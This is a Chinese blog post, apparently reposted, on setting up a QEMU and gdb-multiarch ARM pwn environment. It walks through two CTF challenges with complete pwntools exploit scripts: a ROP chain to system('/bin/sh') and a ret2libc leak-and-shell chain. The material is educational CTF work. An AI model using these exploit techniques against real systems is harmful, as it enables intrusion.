arm-Pwn环境搭建+简单题目

news2024/11/15 4:41:51

前言

起因是看到一篇IOT CVE的分析文章。

正好也在学pwn,arm架构的也是IOT这些固件最常用的,所以先安一个arm-pwn的环境。

环境搭建/调试

1. 安装 gdb-multiarch

sudo apt-get install gdb-multiarch

2. 安装qemu

ctf的arm_pwn只需要安装qemu-user就行了。

binfmt*是用来识别文件类型

sudo apt-get install qemu-user
sudo apt-get install qemu-user-binfmt
sudo apt-get install "binfmt*"

只用这两步就可以直接运行静态链接的arm程序。
jarvisoj typo为例
在这里插入图片描述

3. 动态链接的arm程序配置

查找:

apt search  "libc6-" | grep 'arm'

在这里插入图片描述
可以根据需要安装不同架构的库
对于arm32就是这个

sudo apt-get install libc6-armel-cross

4. 运行方式

-L 指定运行库,-g 指定端口

qemu-arm -L /usr/arm-linux-gnueabi ./cisn_en_1

在这里插入图片描述

5. 动态调试

安装过程问题不大,记录下调试。
这里没用pwntools,先用gdb端口来看:

gdb-multiarch
set architecture arm
target remote localhost:23333

image

然后另一个终端运行待调试程序
以静态链接的typo为例:
不需要-L指定动态链接库,-g指定端口。

qemu-arm -g 23333 ./typo

image

image

pwntools调试

如果用py脚本调试,就加上这句:

p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi','-g','23333', 'ciscn_en_1'])

然后一样的gdb-multiarch设置好

target remote localhost:23333

再运行python即可调试。

两道题目

拿两道arm32的题来熟悉一下。

javisoj-typo

题目链接
对于arm指令集,以前我一直认为下载的IDA是无法F5的。。。
结果
image

也就是只要ROM、RAM这些位置加载对了(ctf的pwn题的话一般不用自己找基址。。),IDA就能F5。。。
(当然要全插件版的IDA)

回到题目。
第一个arm_pwn

程序静态链接,无PIE,无canary。
在这里插入图片描述

直接rop system(“/bin/sh”)

注意下要先恢复符号,不然不一定找得到system。
image

image

主要就是对于arm指令集要稍微熟悉一点,知道r0和amd64的rdi是用于第一个参数传参就行。
然后arm指令集是由pop pc这种来控制指令流的。
填充完缓冲区后不需要覆盖"old_ebp"。

Exp:
image

binsh = 0x0006C384
system = 0x110B4
# 0x00020904 : pop {r0, r4, pc}
r0_r4_pc = 0x00020904

pl = b'a'*112 + p32(r0_r4_pc) + p32(binsh) + p32(0) + p32(system)

sa("quit\n",b"\n")
sleep(0.3)
sl(pl)

p.interactive()

ciscn_2019_en_1

题目链接

在这里插入图片描述
动态链接,无PIE。

IDA看程序,在这里插入图片描述
很明显的一个栈溢出。我们尝试ret2libc。
首先要寻找gadget。
而这里是找不到pop r0的,这也是本题的难点所在。

但我们可以通过这个地方的gadget来间接控制r0:
在这里插入图片描述

跟ret2csu很类似,我们首先传入POP {R4-R10,PC}的gadget,
这样我们就能控制R7,R3寄存器的值。
然后PC寄存器填上MOV R0.R7,也就是上面那个gadget的地址。
这样我们就能通过R7控制R0,通过R3控制BLX执行的函数了。

只是还有个问题,那个POP {R4-R10}其实没有R3。。
但我们可以找一个R3的gadget,比如

0x000103a4 : pop {r3, pc}

来赋值R3,并且控制指令流。

具体到ret2libc流程来说,

R7 = puts_got
PC = pop_r3_pc
R3 = puts_plt
PC = mov_r0_r7

就可以打印出puts的地址了。

泄露libc后就正常再打一遍system("/bin/sh")即可。
只是这里注意,我们不能像正常的ret2csu那样控制puts(puts_got)后返回的地址。。
所以打印完后程序会直接退出。

当然本地两次开process它们的基址是不变的,所以我们再process一个来getshell即可。

本地

Exp:

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x10590
pop_r3_pc = 0x000103a4
pop_r4_pc = 0x000104f8
pop_45678bl_pc = 0x00010638  # 
mov_r0r7_blxr3 = 0x00010628  # r7 -> r0


# puts_plt(puts_got)
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(puts_got) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(puts_plt) # r3
pl += p32(mov_r0r7_blxr3) # pc


ru("name:\n\n")
#pause()
sl(pl)

ru('\n')
leak = u32(p.recv(4))
info_addr("puts_addr",leak)
libcbase = leak - libc.sym['puts']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search("/bin/sh\x00"))

# getshell
p = process(['qemu-arm','-L', '/usr/arm-linux-gnueabi', 'ciscn_en_1'])
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(binsh) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(system) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
pause()
sl(pl)


p.interactive()

在这里插入图片描述

远程

打远程的话就不能这么开两次process
所以对于那个类csu gadget利用顺序就要改一改了。
核心就是改顺序使得能控制puts(puts_got)后的返回地址。

顺序改为:

padding
POP {R3,PC}
puts_plt # R3
POP {R4-R10,PC} # PC
p32(0)*3
puts_got # R7
p32(0)*3
MOV R0, R7 # PC

到这里的话就是第一遍gadget,类似csu的gadget1->gadget2
然后再次"滑"到gadget1的POP {R4-R10,PC}
我们就可以控制PC了。

p32(0)*7
vuln_addr # PC

然后就是buu远程给的libc奇奇怪怪的。。。 好多偏移都不大对。。
自己调整一下,
两个地方:

puts_got = 0x21010
libcbase = leak - 0x00047b30

远程的Exp:

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x10590
pop_r3_pc = 0x000103a4
pop_r4_pc = 0x000104f8
pop_45678bl_pc = 0x00010638  # 
mov_r0r7_blxr3 = 0x00010628  # r7 -> r0

info_addr("plt",puts_plt)
info_addr("got",puts_got)
# puts_plt(puts_got)
pl = b'a'*0x24 + p32(pop_r3_pc)
pl += p32(puts_plt) + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(0x21010)
pl += p32(0)*3 + p32(mov_r0r7_blxr3)
pl += p32(0)*7
pl += p32(vuln) # pc

ru("name:\n\n")
#pause()
sl(pl)

ru('\n')
leak = u32(p.recv(4))
info_addr("puts_addr",leak)
libcbase = leak - 0x00047b30
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search("/bin/sh\x00"))

# getshell
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(binsh) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(system) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
pause()
sl(pl)


p.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2074363.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

结构体内存的对齐

结构体的对齐规则 第一个成员在结构体变量偏移量为0的地址处。 其他成员变量要对齐到某个数字(对齐数)的整数倍的地址处 1) 对齐数 min( 编译器默认的一个对齐数, 该成员大小)。 2)默认的对齐数,可以通过宏…

kafka的12个重要概念

kafka的12个重要概念 1、服务器broker1.1、Broker 的主要功能1.2、Kafka Broker 的架构1.3、配置和管理1.4、高可用性和负载均衡1.5、总结 2、主题topic2.1、主要特点 3、事件Event4、生产者producer4.1、主要功能4.2、Producer 的配置选项4.3、Producer 的工作流程4.4、总结 5…

(javaweb)maven高级

目录 ​编辑 1.分模块设计与开发 2.继承与聚合--继承关系实现 3.继承与聚合--版本锁定 4.继承与聚合--聚合版本 5.私服 资源的上传与下载 1.分模块设计与开发 分模块:拆分成多个模块进行开发 不分模块:业务代码堆积成一个 不利于项目管理和维护并…

考研数学|零基础9月开始100天备考攻略

马上就要9月了,很多同学相比快要结束强化了,零基础的同学,进度可能会慢一些,但是别担心,考研数学的学习,进度不是最要紧的,学习效果才是!千万不要比进度,也不要赶进度&am…

Linux中的PCI配置空间

在计算机系统中,PCI(Peripheral Component Interconnect)总线是一种用于连接硬件设备的标准接口。PCI总线提供了一个通用的、高性能的数据传输通道,广泛应用于PC系统和服务器中。在Linux操作系统中,PCI设备的配置空间是…

Modern C++——不准确“类型声明”引发的非必要性能损耗

大纲 案例代码地址 C是一种强类型语言。我们在编码时就需要明确指出每个变量的类型,进而让编译器可以正确的编译。看似C编译器比其他弱类型语言的编译器要死板,实则它也做了很多“隐藏”的操作。它会在尝试针对一些非预期类型进行相应转换,以…

JS脚本实现RPA模拟人工操作网页获取数据

一、首先我们可以根据查询条件去预置一个Excel&#xff0c;比如我们以公司名称为例。 二、然后我们用JS读取Excel内容&#xff0c;进行页面打开与条件记录 <!DOCTYPE html> <html> <div style"text-align: center;margin-top: 300px;"><input …

一款人性化的终端用户界面工具

A collection of human friendly terminal user interface. 截图 历史文件预览 注意: find file 依赖 fzf. file browser依赖 ranger / lf / … 安装 git clone https://github.com/StubbornVegeta/StartUp ~/.config/ cd ~/.config/StartUp ./install.sh用法 . $HOME/.…

【binder】【android12】【2.servicemanager启动——全源码分析】

系列文章目录 可跳转到下面链接查看下表所有内容https://blog.csdn.net/handsomethefirst/article/details/138226266?spm1001.2014.3001.5501文章浏览阅读2次。系列文章大全https://blog.csdn.net/handsomethefirst/article/details/138226266?spm1001.2014.3001.5501 目录 …

浅谈【数据结构】树与二叉树二

目录 1、二叉排序树 1.1二叉树排序树插入 1.1.1两种插入方法 1.1.2循环法 1.1.3递归法 1.2二叉树的打印 1.3二叉树的结点删除 1.4销毁二叉树 1.5层次打印 谢谢帅气美丽且优秀的你看完我的文章还要点赞、收藏加关注 没错&#xff0c;说的就是你&#xff0c;不用再怀疑&…

前端实现 http请求中 表单请求体和json请求体的互相转换,外加转为 冒号换行格式,用于ApiFox批量导入

在线体验&#xff1a;https://ikaros-521.github.io/dev_tool/http/param_json_converter.html 直接上源码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Query String to JSON Converter</titl…

慢SQL定位及优化

1.如何定位慢查询 方案1&#xff1a;开源工具 调式工具&#xff1a;Arthas 运维工具&#xff1a;Prometheus、Skywalking 方案2&#xff1a;MySQL自带慢日志 慢查询日志记录了所有执行时间超过指定参数&#xff08;long_query_time&#xff0c;单位&#xff1a;秒&#xff0c…

QT error: undefined reference to `vtable for Net‘

报错 C:\Users\Administrator\Desktop\VideoHill\GikISearch\net.cpp:4: error: undefined reference to vtable for Net 以下是两个可能错误原因 1&#xff0c;未定义Q_OBJECT 宏 在头文件中加上 加上#include <QObject>&#xff0c; 改写继承QObject 和定义宏 …

【HarmonyOS】鸿蒙应用蓝牙功能实现 (三)

【HarmonyOS】鸿蒙应用蓝牙功能实现 &#xff08;三&#xff09; 前言 今天整理蓝牙Demo代码&#xff0c;查看官网时发现自己帐号没有登录&#xff0c;竟然也可以访问最新的API文档&#xff0c;真是喜大奔普。看来华为已经开始对外开放最新的API文档&#xff0c;不再有白名单…

Leetcode每日刷题之面试题01.06字符串压缩(C++)

1.题目解析 本题的目的是遍历一个字符串&#xff0c;将重复的字符串以该字符出现次数进行压缩&#xff0c;最终返回压缩后的字符串即可 题目来源&#xff1a;面试题01.06.字符串压缩 2.算法原理 我们从左往右遍历字符串&#xff0c;用 ch 记录当前要压缩的字符&#xff0c;cnt …

交叉编译Qt5.12.8附带编译opengl

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、重要说明二、准备环境1.下载qt5.12.8源代码2.配置系统环境3.安装必要工具4.解压qt5源代码5.开始配置编译6.配置qtcreator 三、编译opengl总结 前言 最近有…

zdppy+vue3+onlyoffice文档管理系统实战 20240825上课笔记 zdppy_cache框架增加resize清理缓存的方法

遗留问题 设置缓存&#xff0c;已完成获取缓存&#xff0c;已实现删除缓存&#xff0c;已实现查询所有key&#xff0c;带查询参数&#xff1a;active只查激活的&#xff0c;value包含value默认只获取key查询缓存大小清空缓存判断是否为管理员 实现删除缓存的接口 async def …

[C语言]一、C语言基础

G:\Cpp\C语言精讲 1. C语言入门 1.1 初识计算机语言 计算机编程语言&#xff0c;就是人与计算机交流的方式。人们可以使用编程语言对计算机下达命令&#xff0c;让计算机完成人们需要的功能。 计算机语言有很多种。如&#xff1a;C 、C、Java、Go、JavaScript、Python&#x…

音视频入门基础:WAV专题(6)——通过FFprobe显示WAV音频文件每个数据包的信息

通过FFprobe命令可以显示WAV音频文件每个packet&#xff08;也称为数据包或多媒体包&#xff09;的信息&#xff1a; ffprobe -of json -show_packets XXX.wav 输出如下&#xff1a; 其中&#xff1a; 1.codec_type&#xff1a;packet类型&#xff0c;表示该路流是视频还是音…

【CSS】使用 CSS 自定义属性(变量)-- var()

自定义属性&#xff08;有时候也被称作CSS 变量或者级联变量&#xff09;是由 CSS 作者定义的&#xff0c;它包含的值可以在整个文档中重复使用。由自定义属性标记设定值&#xff08;比如&#xff1a; --main-color: black;&#xff09;&#xff0c;由 var() 函数来获取值&…